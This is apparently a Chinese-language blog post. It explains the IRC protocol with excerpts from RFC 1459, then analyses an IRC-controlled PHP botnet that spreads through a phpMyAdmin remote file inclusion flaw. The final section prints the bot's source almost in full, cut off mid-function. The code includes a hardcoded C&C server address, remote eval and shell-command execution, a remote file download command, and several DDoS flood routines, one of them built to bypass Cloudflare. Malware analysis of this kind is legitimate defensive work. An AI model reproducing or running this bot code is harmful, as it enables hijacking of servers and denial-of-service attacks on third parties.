catalogue
0. Abstract 1. INTRODUCTION 2. 通信协议Connection Registration Action 3. 通信协议Channel operations Action 4. 通信协议Heart Beat Action 5. 示例代码 6. 基于IRC的中控网络
0. Abstract
The IRC protocol was developed over the last 4 years since it was first implemented as a means for users on a BBS to chat amongst themselves. Now it supports a world-wide network of servers and
clients, and is stringing to cope with growth. Over the past 2 years, the average number of users connected to the main IRC network has grown by a factor of 10.
The IRC protocol is a text-based protocol, with the simplest client being any socket program capable of connecting to the server.
Relevant Link:
http://www.rfc-editor.org/rfc/rfc1459.txt https://zh.wikibooks.org/zh-cn/IRC
1. INTRODUCTION
The IRC protocol has been developed on systems using the TCP/IP network protocol, although there is no requirement that this remain the only sphere in which it operates.
IRC itself is a teleconferencing system, which (through the use of the client-server model) is well-suited to running on many machines in a distributed fashion. A typical setup involves a single process(the server) forming a central point for clients (or other servers) to connect to, performing the required message delivery/multiplexing and other functions.
0x1: Servers
The server forms the backbone of IRC, providing
1. a point to which clients may connect to to talk to each other 2. and a point for other servers to connect to 3. forming an IRC network.
The only network configuration allowed for IRC servers is that of a spanning tree where each server acts as a central node for the rest of the net it sees
[ Server 15 ] [ Server 13 ] [ Server 14] / \ / / \ / [ Server 11 ] ------ [ Server 1 ] [ Server 12] / \ / / \ / [ Server 2 ] [ Server 3 ] / \ \ / \ \ [ Server 4 ] [ Server 5 ] [ Server 6 ] / | \ / / | \ / / | \____ / / | \ / [ Server 7 ] [ Server 8 ] [ Server 9 ] [ Server 10 ] : [ etc. ]
0x2: Clients
A client is anything connecting to a server that is not another server. Each client is distinguished from other clients by a unique nickname(登录时根据nickname注册表明身份) having a maximum length of nine (9) characters. See the protocol grammar rules for what may and may not be used in a nickname. In addition to the nickname, all servers must have the following information about all clients:
1. the real name of the host that the client is running on 2. the username of the client on that host 3. and the server to which the client is connected.
0x3: Operators
To allow a reasonable amount of order to be kept within the IRC network, a special class of clients (operators) is allowed to perform general maintenance functions on the network.
Operators should be able to perform basic network tasks such as
1. disconnecting 2. reconnecting servers as needed to prevent long-term use of bad network routing. 3. force/KILL: A more controversial power of operators is the ability to remove a user from the connected network, operators are able to close the connection between any client and server. 4. PING/PONG: Heart Beat 5. KICK: Eject a client from the channel 6. MODE: Change the channel's mode 7. INVITE: Invite a client to an invite-only channel (mode +i) 8. TOPIC: Change the channel topic in a mode +t channel
0x4: Channels
A channel is a named group of one or more clients which will all receive messages addressed to that channel.
1. The channel is created implicitly when the first client joins it 2. and the channel ceases to exist when the last client leaves it. 3. While channel exists, any client can reference the channel using the name of the channel.
Channels names are strings (beginning with a '&' or '#' character) of length up to 200 characters. Apart from the the requirement that the first character being either '&' or '#'; the only restriction on a channel name is that it may not contain any spaces(' '), a control G(^G or ASCII 7), or a comma (',' which is used as a list item separator by the protocol).
There are two types of channels allowed by this protocol.
需要明白的,应用层通信协议是一个很"松散"的文本交互过程,理论上,Bot Client - Bot Server可以搭载任意的网络协议(包括SSL)进行通信
2. 通信协议Connection Registration Action
命令是用来注册一个连接到irc服务器上,作为一名用户或者另一台server,当然也包括正确的断开连接,下面是客户端推荐的注册命令执行顺序
Pass message Nick message User message
0x1: Password message
Command: PASS Parameters: <password> /* Example: PASS secretpasswordhere */ PASS 命令是用来连接时设置一个连接密码的。密码必须在任何连接试图连接服务器之前设置好。当前要求的是客户端在发送 NICK/USER 命令前发送PASS,其他服务器连接在发送任何服务器指令前发送PASS命令 Numeric Replies: ERR_NEEDMOREPARAMS ERR_ALREADYREGISTRED
0x2: Nick message
Command: NICK Parameters: <nickname> [ <hopcount> ] /* Example: NICK Wiz ; Introducing new nick "Wiz". :WiZ NICK Kilroy ; WiZ changed his nickname to Kilroy. */ NICK 命令是用来给予用户一个昵称或者修改之前的昵称。 <hopcount> 参数只是服务器用来标识这个昵称离服务器有多远。本地连接的 hopcount就是0.如果一个NICK 信息到达了一台已经存在一个这个昵称的服务器上,就会发生nickname冲突。发生nickname冲突后,所有是这个nickname的对象会被从服务器的数据库上移除,并且一个 KILL命令被发送到所有服务器上移除这个nickname。如果一个nickname更改出发了这个冲突,则已经存在的这个nickname也会被移除 Numeric Replies: ERR_NONICKNAMEGIVEN ERR_ERRONEUSNICKNAME ERR_NICKNAMEINUSE ERR_NICKCOLLISION
0x3: User message
Command: USER Parameters: <username> <hostname> <servername> <realname> /* Examples: USER guest tolmoon tolsun :Ronnie Reagan ; User registering themselves with a username of "guest" and real name "Ronnie Reagan". :testnick USER guest tolmoon tolsun :Ronnie Reagan ; message between servers with the nickname for which the USER command belongs to */ USER指令是在连接开始建立后来详细说明用户的username,hostname,servername,realname的。USER指令也被server之间用来通信用来通告一个新的用户连接上了服务器,只有当client的USER和NICK指令抵达服务器后才完成了注册连接的步骤 服务器之间的USER指令必须以客户端的NICKname开头。一般情况下hostname和servername在服务器明确知道这是一个client发过来的USER指令的时候,他们都会被忽略,但他们在服务器和服务器之间通信会被使用到。这就意味着当一个新用户被通告到其他服务器时,一个NICK指令作为USER指令的附属也会被发送 需要注意的是realname参数必须放在最后,因为它可能会含有空格字符,并且它必须以一个分号(:)开头 Numeric Replies: ERR_NEEDMOREPARAMS ERR_ALREADYREGISTRED
0x4: Server message
Command: SERVER Parameters: <servername> <hopcount> <info> /* Example: SERVER test.oulu.fi 1 :[tolsun.oulu.fi] Experimental server ; New server test.oulu.fi introducing itself and attempting to register. The name in []'s is the hostname for the host running test.oulu.fi. :tolsun.oulu.fi SERVER csd.bu.edu 5 :BU Central Server ; Server tolsun.oulu.fi is our uplink for csd.bu.edu which is 5 hops away. */ server指令是用来告诉服务器连接上来的是另一台服务器。这条指令也可以用来通过网络传输数据。当一台新的服务器连接到irc服务器网络后,它的信息会被广播到整个网络上。<hopcount>是用来标识服务器之间距离的一种内部标识。对于真个服务器的列表,它有可能被阻止成一个属性结构的图谱,但是hostmasks可以防止这种情况的发生 SERVER指令在一台服务器还会注册时去注册到一个服务器时被接受,或者已经注册在服务器上了,想要连接到其他已经注册在这台服务器上的服务器时。 Numeric Replies: ERR_ALREADYREGISTRED
0x5: Oper
Command: OPER Parameters: <user> <password> /* Example: OPER foo bar ; Attempt to register as an operator using a username of "foo" and "bar" as the password. */ OPER指令是提供给用户去获取管理员权限使用的。提交<user>和<password>参数去获取这种权限 如果一个client发送一个带有正确的user和password的OPER指令,服务器就会通知网路上的其他管理员通过给nickname做"MODE +o操作" OPER指令只能是client发送给服务器 Numeric Replies: ERR_NEEDMOREPARAMS RPL_YOUREOPER ERR_NOOPERHOST ERR_PASSWDMISMATCH
0x6: Quit
Command: QUIT Parameters: [<Quit message>] /* Examples: QUIT :Gone to have lunch ; Preferred message format. */ 一个客户端的会话可以通过一个quit指令来终结。服务器必须在收到client的QUIT指令后关闭这个client的连接。如果发送了QUIT指令,那么它的默认参数就是这个连接的nickname 如果要做网络分隔,那么你只需要吧两个服务器的名字一起同QUIT指令发送过去,服务器名之间通过空格隔开,那么服务器会自动断开第二个服务器名的连接,而保持第一个服务器名的连接 如果客户端不是因为自己死亡或者发生了socket的EOF异常,那么客户端需要发送断开的理由同QIUT指令一起发往服务器 Numeric Replies: None.
0x7: Server quit message
Command: SQUIT Parameters: <server> <comment> /* Example: SQUIT tolsun.oulu.fi :Bad Link ? ; the server link tolson.oulu.fi has been terminated because of "Bad Link". :Trillian SQUIT cm22.eng.umd.edu :Server out of control ; message from Trillian to disconnect "cm22.eng.umd.edu" from the net because "Server out of control". */ SQUIT是同来通告服务器的退出和死亡的。如果一台服务器想同另另一台服务器断开连接那么它必须发送一条SQUIT指令给那台服务器,参数名就是那台服务器的名字,然后收到SQUIT命令的服务器就会断开同它的连接 这条指令也会别管理员同来帮助管理整个IRC服务网络的次序。管理员也会发布一条SQUIT指令给一台远程服务器 在管理员执行了对远程服务器squit后需要填写<comment>信息,这样别的管理员就会知道这个事情发生的原因了。<comment>也可以填写一些错误或者简单的信息进去 收到SQUIT指令的服务器应该也同时发送SQUIT信息到连接在这台服务器上的服务器告诉他们发生了什么 同样的,也要发送一个QUIT指令到网络上其他的服务器上的客户端告诉他们这个信息。同理,当一个channel由于分隔丢失了一位成员,那么他们也应该被发送一条QUIT指令 Numeric replies: ERR_NOPRIVILEGES ERR_NOSUCHSERVER
Relevant Link:
http://pako.iteye.com/blog/1125561
3. 通信协议Channel operations Action
0x1: Join message
Command: JOIN Parameters: <channel>{,<channel>} [<key>{,<key>}] /* Examples: JOIN #foobar ; join channel #foobar. JOIN &foo fubar ; join channel &foo using key "fubar". JOIN #foo,&bar fubar ; join channel #foo using key "fubar" and &bar using no key. JOIN #foo,#bar fubar,foobar ; join channel #foo using key "fubar". and channel #bar using key "foobar". JOIN #foo,#bar ; join channels #foo and #bar. :WiZ JOIN #Twilight_zone ; JOIN message from WiZ */ JOIN指令是用户用来收听一个指定的频道时使用的。只有这个client连接的服务器才能判断是否这个client可否加入一个频道,服务器收到别的服务器的指令后自动添加这个client到频道里。这种情况会在如下的条件下发生 1) 这个用户是被邀请近一个 invite-only的频道 2) 这个用户的 nick/username/hostname 不能满足任何一条禁止的条件 3) 如果这是了correct key(password),那么它必须正确 一旦用户加入了一个频道,他会收到这个服务器能够对这个频道起作用的所有命令。这其中包括,MODE,KICK,PART,QUIT,当还有PRIVMSG/NOTICE.JOIN指需要被广告到其他服务器上,这样其他服务器就会知道在哪个频道里可以找到这个用户。这就可以实现方便的发送PRIVMAS/NOTICE指令到channel的方式了 Numeric Replies: ERR_NEEDMOREPARAMS ERR_BANNEDFROMCHAN ERR_INVITEONLYCHAN ERR_BADCHANNELKEY ERR_CHANNELISFULL ERR_BADCHANMASK ERR_NOSUCHCHANNEL ERR_TOOMANYCHANNELS RPL_TOPIC
0x2: Part message
Command: PART Parameters: <channel>{,<channel>} /* Examples: PART #twilight_zone ; leave channel "#twilight_zone" PART #oz-ops,&group5 ; leave both channels "&group5" and "#oz-ops" */ PART指令是client用来退出一个或者几个频道时使用的。 Numeric Replies: ERR_NEEDMOREPARAMS ERR_NOSUCHCHANNEL ERR_NOTONCHANNEL
0x3: Mode message
Command: MODE MODE是IRC中非常重要的指令。它可以修改username和channel的模式
0x4: Topic message
Command: TOPIC Parameters: <channel> [<topic>] /* Examples: :Wiz TOPIC #test :New topic ;User Wiz setting the topic. TOPIC #test :another topic ;set the topic on #test to "another topic". TOPIC #test ; check the topic for #test. */ TOPIC指令是用来查看或者修改一个频道的主题的。如果没有<topic>那么这个频道的主题就会被返回。如果存在<topic>参数,如果频道权限允许,那么这个主题可以被修改 Numeric Replies: ERR_NEEDMOREPARAMS ERR_NOTONCHANNEL RPL_NOTOPIC RPL_TOPIC ERR_CHANOPRIVSNEEDED
0x5: Names message
Command: NAMES Parameters: [<channel>{,<channel>}] /* Examples: NAMES #twilight_zone,#42 ; list visible users on #twilight_zone and #42 if the channels are visible to you. NAMES ; list all visible channels and users */ 使用NAMES指令,一个用户可以列出一个频道里所有他们可见的nickname。他们只能查看哪些非+p标志和+s标志,或者他么已经进入的频道。<channel>参数指定的就是他们想要查看的频道名。不会因为一个错误频道名而返回错误信息 如果没有<channel>参数被提供,那么会返回一个所有频道名和他们占有人的列表 Numerics: RPL_NAMREPLY RPL_ENDOFNAMES
0x6: List message
Command: LIST Parameters: [<channel>{,<channel>} [<server>]] /* Examples: LIST ; List all channels. LIST #twilight_zone,#42 ; List channels #twilight_zone and #42 */ List指令是用来列出频道和他们的主题。如果<channel>参数被使用,那么只有频道的状态会被展示。私人频道只会列出一个 “Prv”标志会不会显示他们的主题除非提交这个请求的用户在这个频道里。同样的对与秘密频道也不会列出除非用户在那个频道里。 Numeric Replies: ERR_NOSUCHSERVER RPL_LISTSTART RPL_LIST RPL_LISTEND
0x7: Invite message
Command: INVITE Parameters: <nickname> <channel> /* Examples: :Angel INVITE Wiz #Dust ; User Angel inviting WiZ to channel #Dust INVITE Wiz #Twilight_Zone ; Command to invite WiZ to #Twilight_zone */ INVITE指令是用来邀请一个用户加入一个频道的。<nickname>参数就是被邀请人,<channel>就是被邀请进入的频道。邀请一个用户进入一个MODE +i(仅邀请频道)的频道,邀请人必须是频道的管理员。 Numeric Replies: ERR_NEEDMOREPARAMS ERR_NOSUCHNICK ERR_NOTONCHANNEL ERR_USERONCHANNEL ERR_CHANOPRIVSNEEDED RPL_INVITING RPL_AWAY
0x8: Kick command
Command: KICK Parameters: <channel> <user> [<comment>] /* Examples: KICK &Melbourne Matthew ; Kick Matthew from &Melbourne KICK #Finnish John :Speaking English ; Kick John from #Finnish using "Speaking English" as the reason (comment). :WiZ KICK #Finnish John ; KICK message from WiZ to remove John from channel #Finnish */ KICK指令可以用来强制的提出一个用户出一个频道。只有频道管理员可以踢用户。所有服务器受到KICK指令后需要验证它的正确性(比如是否发送人是这个频道的管理员)才能去执行 Numeric Replies: ERR_NEEDMOREPARAMS ERR_NOSUCHCHANNEL ERR_BADCHANMASK ERR_CHANOPRIVSNEEDED ERR_NOTONCHANNEL
Relevant Link:
http://pako.iteye.com/blog/1125561
4. 通信协议Heart Beat Action
0x1: Ping message
Command: PING Parameters: <server1> [<server2>] /* Examples: PING tolsun.oulu.fi ; server sending a PING message to another server to indicate it is still alive. PING WiZ ; PING message being sent to nick WiZ */ The PING message is used to test the presence of an active client at the other end of the connection. A PING message is sent at regular intervals if no other activity detected coming from a connection. If a connection fails to respond to a PING command within a set amount of time, that connection is closed. Any client which receives a PING message must respond to <server1> (server which sent the PING message out) as quickly as possible with an appropriate PONG message to indicate it is still there and alive. Servers should not respond to PING commands but rely on PINGs from the other end of the connection to indicate the connection is alive. If the <server2> parameter is specified, the PING message gets forwarded there. Numeric Replies: ERR_NOORIGIN ERR_NOSUCHSERVER
0x2: Pong message
Command: PONG Parameters: <daemon> [<daemon2>] /* Examples: PONG csd.bu.edu tolsun.oulu.fi ; PONG message from csd.bu.edu to */ PONG message is a reply to ping message. If parameter <daemon2> is given this message must be forwarded to given daemon. The <daemon> parameter is the name of the daemon who has responded to PING message and generated this message. Numeric Replies: ERR_NOORIGIN ERR_NOSUCHSERVER
5. 示例代码
https://github.com/LuoZijun/pyirc/blob/master/DOC/IRC%E5%8D%8F%E8%AE%AE%E5%88%86%E6%9E%90%E7%AC%94%E8%AE%B0.rst
6. 基于IRC的中控网络
0x1: 部署载荷(入侵方式)
通过phpmyadmin的setup.php对象注入漏洞实现RFI(远程文件包含执行),被攻击的服务器会执行攻击者指定的PHP代码,这一步将WEB漏洞转化为肉鸡
http://www.cnblogs.com/LittleHann/p/4239944.html
0x2: 上线方式
通过IRC聊天室频道作为C&C指令的发起端
$cfg = array( "server" => "104.40.28.250", "port" => "6667", "key" => "", "prefix" => "", "maxrand" => "8", "chan" => "#PMA", "trigger" => ".", "hostauth" => "ddos" );
肉鸡客户端(这里试运行恶意脚本的被感染服务器)会使用IRC兼容协议格式和IRC聊天室进行通信,并通过IRC的常规料条Message封装C&C指令(攻击者实现了一套自定义的C&C解析格式),恶意脚本通过socket tcp长连接不断尝试从IRC聊天室获取C&C指令
0x3: 恶意脚本
<?php $cfg = array( "server" => "104.40.28.250", "port" => "6667", "key" => "", "prefix" => "", "maxrand" => "8", "chan" => "#PMA", "trigger" => ".", "hostauth" => "ddos" ); set_time_limit(0); error_reporting(0); $dir = getcwd(); $uname = @php_uname(); function whereistmP() { $uploadtmp = ini_get('upload_tmp_dir'); $uf = getenv('USERPROFILE'); $af = getenv('ALLUSERSPROFILE'); $se = ini_get('session.save_path'); $envtmp = (getenv('TMP')) ? getenv('TMP') : getenv('TEMP'); if(is_dir('/tmp') && is_writable('/tmp')) return '/tmp'; if(is_dir('/usr/tmp') && is_writable('/usr/tmp')) return '/usr/tmp'; if(is_dir('/var/tmp') && is_writable('/var/tmp')) return '/var/tmp'; if(is_dir($uf) && is_writable($uf)) return $uf; if(is_dir($af) && is_writable($af)) return $af; if(is_dir($se) && is_writable($se)) return $se; if(is_dir($uploadtmp) && is_writable($uploadtmp)) return $uploadtmp; if(is_dir($envtmp) && is_writable($envtmp)) return $envtmp; return '.'; } function srvshelL($command) { $name = whereistmP() . "\\" . uniqid('NJ'); $n = uniqid('NJ'); $cmd = (empty($_SERVER['ComSpec'])) ? 'd:\\windows\\system32\\cmd.exe' : $_SERVER['ComSpec']; win32_create_service(array( 'service' => $n, 'display' => $n, 'path' => $cmd, 'params' => "/c $command >\"$name\"" )); win32_start_service($n); win32_stop_service($n); win32_delete_service($n); while(!file_exists($name)) sleep(1); $exec = file_get_contents($name); unlink($name); return $exec; } function ffishelL($command) { $name = whereistmP() . "\\" . uniqid('NJ'); $api = new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);"); $res = $api->WinExec("cmd.exe /c $command >\"$name\"", 0); while(!file_exists($name)) sleep(1); $exec = file_get_contents($name); unlink($name); return $exec; } function comshelL($command, $ws) { $exec = $ws->exec("cmd.exe /c $command"); $so = $exec->StdOut(); return $so->ReadAll(); } function perlshelL($command) { $perl = new perl(); ob_start(); $perl->eval("system(\"$command\")"); $exec = ob_get_contents(); ob_end_clean(); return $exec; } function Exe($command) { $exec = $output = ''; $dep[] = array( 'pipe', 'r' ); $dep[] = array( 'pipe', 'w' ); if (function_exists('passthru')) { ob_start(); @passthru($command); $exec = ob_get_contents(); ob_clean(); ob_end_clean(); } elseif (function_exists('system')) { $tmp = ob_get_contents(); ob_clean(); @system($command); $output = ob_get_contents(); ob_clean(); $exec = $tmp; } elseif (function_exists('exec')) { @exec($command, $output); $output = join("\n", $output); $exec = $output; } elseif(function_exists('shell_exec')) $exec = @shell_exec($command); elseif (function_exists('popen')) { $output = @popen($command, 'r'); while (!feof($output)) { $exec = fgets($output); } pclose($output); } elseif (function_exists('proc_open')) { $res = @proc_open($command, $dep, $pipes); while (!feof($pipes[1])) { $line = fgets($pipes[1]); $output .= $line; } $exec = $output; proc_close($res); } elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $exec = winshelL($command); elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $exec = srvshelL($command); elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $exec = ffishelL($command); elseif(extension_loaded('perl')) $exec = perlshelL($command); return $exec; } class pBot { public $config = ''; public $user_agents = array( "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2", "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120403211507 Firefox/12.0", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)", "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)", "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00" ); public $charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; public $users = array(); public function start($cfg) { $this->config = $cfg; while (true) { if(!($this->conn = fsockopen($this->config['server'], $this->config['port'], $e, $s, 30))) $this->start($cfg); $ident = $this->config['prefix']; $alph = range("0", "9"); for($i = 0; $i < $this->config['maxrand']; $i++) $ident .= $alph[rand(0, 9)]; $this->send("USER " . $ident . " 127.0.0.1 localhost :" . php_uname() . ""); $this->set_nick(); $this->main(); } } public function main() { while (!feof($this->conn)) { if (function_exists('stream_select')) { $read = array( $this->conn ); $write = NULL; $except = NULL; $changed = stream_select($read, $write, $except, 30); if ($changed == 0) { fwrite($this->conn, "PING :lelcomeatme\r\n"); $read = array( $this->conn ); $write = NULL; $except = NULL; $changed = stream_select($read, $write, $except, 30); if($changed == 0) break; } } $this->buf = trim(fgets($this->conn, 512)); $cmd = explode(" ", $this->buf); if (substr($this->buf, 0, 6) == "PING :") { $this->send("PONG :" . substr($this->buf, 6)); continue; } if (isset($cmd[1]) && $cmd[1] == "001") { $this->join($this->config['chan'], $this->config['key']); continue; } if (isset($cmd[1]) && $cmd[1] == "433") { $this->set_nick(); continue; } if ($this->buf != $old_buf) { $mcmd = array(); $msg = substr(strstr($this->buf, " :"), 2); $msgcmd = explode(" ", $msg); $nick = explode("!", $cmd[0]); $vhost = explode("@", $nick[1]); $vhost = $vhost[1]; $nick = substr($nick[0], 1); $host = $cmd[0]; if($msgcmd[0] == $this->nick) for($i = 0; $i < count($msgcmd); $i++) $mcmd[$i] = $msgcmd[$i + 1]; else for($i = 0; $i < count($msgcmd); $i++) $mcmd[$i] = $msgcmd[$i]; if (count($cmd) > 2) { switch ($cmd[1]) { case "PRIVMSG": if ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*") { if (substr($mcmd[0], 0, 1) == ".") { switch (substr($mcmd[0], 1)) { case "mail": if (count($mcmd) > 4) { $header = "From: <" . $mcmd[2] . ">"; if (!mail($mcmd[1], $mcmd[3], strstr($msg, $mcmd[4]), $header)) { $this->privmsg($this->config['chan'], "[\2mail\2]: failed sending."); } else { $this->privmsg($this->config['chan'], "[\2mail\2]: sent."); } } break; case "dns": if (isset($mcmd[1])) { $ip = explode(".", $mcmd[1]); if (count($ip) == 4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) { $this->privmsg($this->config['chan'], "[\2dns\2]: " . $mcmd[1] . " => " . gethostbyaddr($mcmd[1])); } else { $this->privmsg($this->config['chan'], "[\2dns\2]: " . $mcmd[1] . " => " . gethostbyname($mcmd[1])); } } break; case "uname": if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $uname = php_uname(); $this->privmsg($this->config['chan'], "[\2info\2]: " . $uname . " (safe: " . $safemode . ")"); break; case "rndnick": $this->set_nick(); break; case "raw": $this->send(strstr($msg, $mcmd[1])); break; case "eval": ob_start(); eval(strstr($msg, $mcmd[1])); $exec = ob_get_contents(); ob_end_clean(); $ret = explode("\n", $exec); for($i = 0; $i < count($ret); $i++) if($ret[$i] != NULL) $this->privmsg($this->config['chan'], " : " . trim($ret[$i])); break; case "exec": $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $exec = exec($command); $ret = explode("\n", $exec); for($i = 0; $i < count($ret); $i++) if($ret[$i] != NULL) $this->privmsg($this->config['chan'], " : " . trim($ret[$i])); break; case "cmd": $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $exec = Exe($command); $ret = explode("\n", $exec); for($i = 0; $i < count($ret); $i++) if($ret[$i] != NULL) $this->privmsg($this->config['chan'], " : " . trim($ret[$i])); break; case "ud.server": if (count($mcmd) > 2) { $this->config['server'] = $mcmd[1]; $this->config['port'] = $mcmd[2]; if (isset($mcmcd[3])) { $this->config['pass'] = $mcmd[3]; $this->privmsg($this->config['chan'], "[\2update\2]: info updated " . $mcmd[1] . ":" . $mcmd[2] . " pass: " . $mcmd[3]); } else { $this->privmsg($this->config['chan'], "[\2update\2]: switched server to " . $mcmd[1] . ":" . $mcmd[2]); } fclose($this->conn); } break; case "download": if (count($mcmd) > 2) { if (!$fp = fopen($mcmd[2], "w")) { $this->privmsg($this->config['chan'], "[\2download\2]: could not open output file."); } else { if (!$get = file($mcmd[1])) { $this->privmsg($this->config['chan'], "[\2download\2]: could not download \2" . $mcmd[1] . "\2"); } else { for ($i = 0; $i <= count($get); $i++) { fwrite($fp, $get[$i]); } $this->privmsg($this->config['chan'], "[\2download\2]: file \2" . $mcmd[1] . "\2 downloaded to \2" . $mcmd[2] . "\2"); } fclose($fp); } } else { $this->privmsg($this->config['chan'], "[\2download\2]: use .download http://your.host/file /tmp/file"); } break; case "udpflood": if (count($mcmd) > 4) { $this->udpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]); } break; case "tcpconn": if (count($mcmd) > 5) { $this->tcpconn($mcmd[1], $mcmd[2], $mcmd[3]); } break; case "rudy": if (count($mcmd) > 2) { $this->doSlow($mcmd[1], $mcmd[2]); } break; case "slowread": if (count($mcmd) > 3) { $this->slowRead($mcmd[1], $mcmd[2], $mcmd[3]); } break; case "slowloris": if (count($mcmd) > 2) { $this->doSlow($mcmd[1], $mcmd[2]); } break; case "synflood": if (count($mcmd) > 3) { $this->synflood($mcmd[1], $mcmd[2], $mcmd[3]); } case "l7": if (count($mcmd) > 3) { if ($mcmd[1] == "get") { $this->attack_http("GET", $mcmd[2], $mcmd[3]); } if ($mcmd[1] == "post") { $this->attack_post($mcmd[2], $mcmd[3]); } if ($mcmd[1] == "head") { $this->attack_http("HEAD", $mcmd[2], $mcmd[3]); } } break; case "syn": if (count($mcmd) > 2) { $this->syn($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]); } else { $this->privmsg($this->config['chan'], "syntax: syn host port time [delaySeconds]"); } break; case "tcpflood": if (count($mcmd) > 2) { $this->tcpflood($mcmd[1], $mcmd[2], $mcmd[3]); } else { $this->privmsg($this->config['chan'], "syntax: tcpflood host port time"); } break; case "httpflood": if (count($mcmd) > 2) { $this->httpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5]); } else { $this->privmsg($this->config['chan'], "syntax: httpflood host port time [method] [url]"); } break; case "proxyhttpflood": if (count($mcmd) > 2) { $this->proxyhttpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]); } else { $this->privmsg($this->config['chan'], "syntax: proxyhttpflood targetUrl(with http://) proxyListUrl time [method]"); } break; case "cloudflareflood": print_r($mcmd); if (count($mcmd) > 2) { $this->cloudflareflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5], $mcmd[6]); } else { $this->privmsg($this->config['chan'], "syntax: cloudflareflood host port time [method] [url] [postFields]"); } break; } } } break; } } } } } public function send($msg) { fwrite($this->conn, $msg . "\r\n"); } public function join($chan, $key = NULL) { $this->send("JOIN " . $chan . " " . $key); } public function privmsg($to, $msg) { $this->send("PRIVMSG " . $to . " :" . $msg); } public function notice($to, $msg) { $this->send("NOTICE " . $to . " :" . $msg); } public function set_nick() { $fp = fsockopen("freegeoip.net", 80, $dummy, $dummy, 30); if(!$fp) $this->nick = ""; else { fclose($fp); $ctx = stream_context_create(array( 'http' => array( 'timeout' => 30 ) )); $buf = file_get_contents("http://freegeoip.net/json/", 0, $ctx); if(!strstr($buf, "country_code")) $this->nick = ""; else { $code = strstr($buf, "country_code"); $code = substr($code, 12); $code = substr($code, 3, 2); $this->nick = "[" . $code . "]"; } } if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->nick .= "[WIN32]"; else $this->nick .= "[LINUX]"; if (isset($_SERVER['SERVER_SOFTWARE'])) { if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "apache")) $this->nick .= "[A]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "iis")) $this->nick .= "[I]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "xitami")) $this->nick .= "[X]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "nginx")) $this->nick .= "[N]"; else $this->nick .= "[U]"; } else { $this->nick .= "[C]"; } $this->nick .= $this->config['prefix']; for($i = 0; $i < $this->config['maxrand']; $i++) $this->nick .= mt_rand(0, 9); $this->send("NICK " . $this->nick); } public function cloudflareflood($host, $port, $time, $method="GET", $url="/", $post=array()) { $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - CloudFlare - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $timei = time(); $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)]; $packet = "$method $url HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Keep-Alive: 300\r\n"; $packet .= "Connection: keep-alive\r\n"; $packet .= "User-Agent: $user_agent\r\n"; //Cloudflare Bypass $res = curl($host, null, $user_agent, true); //Cloudflare Bypass if (strstr($res, "DDoS protection by CloudFlare")) { $this->privmsg($this->config['chan'], "[\2CloudFlare detected!...\2]"); //Get the math calc $math_calc = get_between($res, "a.value = ", ";"); if ($math_calc) { $math_result = (int) eval("return ($math_calc);"); if (is_numeric($math_result)) { $math_result += strlen($host); //Domain lenght //Send the CloudFlare's form $getData = "cdn-cgi/l/chk_jschl"; $getData .= "?jschl_vc=".get_between($res, 'name="jschl_vc" value="', '"'); $getData .= "&jschl_answer=".$math_result; $res = curl($host.$getData, null, $user_agent); //Cloudflare Bypassed? if (strstr($res, "DDoS protection by CloudFlare")) { $this->privmsg($this->config['chan'], "[\2CloudFlare not bypassed...\2]"); return false; } else { $bypassed = true; //Cookie read $cookie = trim(get_between(file_get_contents("cookie.txt"), "__cfduid", "\n")); $packet .= "Cookie: __cfduid=".$cookie."\r\n\r\n"; } } } } else { $this->privmsg($this->config['chan'], "[\2CloudFlare not detected...\2]"); } if ($bypassed) { $this->privmsg($this->config['chan'], "[\2CloudFlare bypassed!\2]"); } $this->privmsg($this->config['chan'], "[\2Flodding...\2]"); while (time() - $timei < $time) { $handle = fsockopen($host, $port, $errno, $errstr, 1); fwrite($handle, $packet); } $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - CloudFlare - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!!\2]"); } public function httpflood($host, $port, $time, $method="GET", $url="/") { $this->privmsg($this->config['chan'], 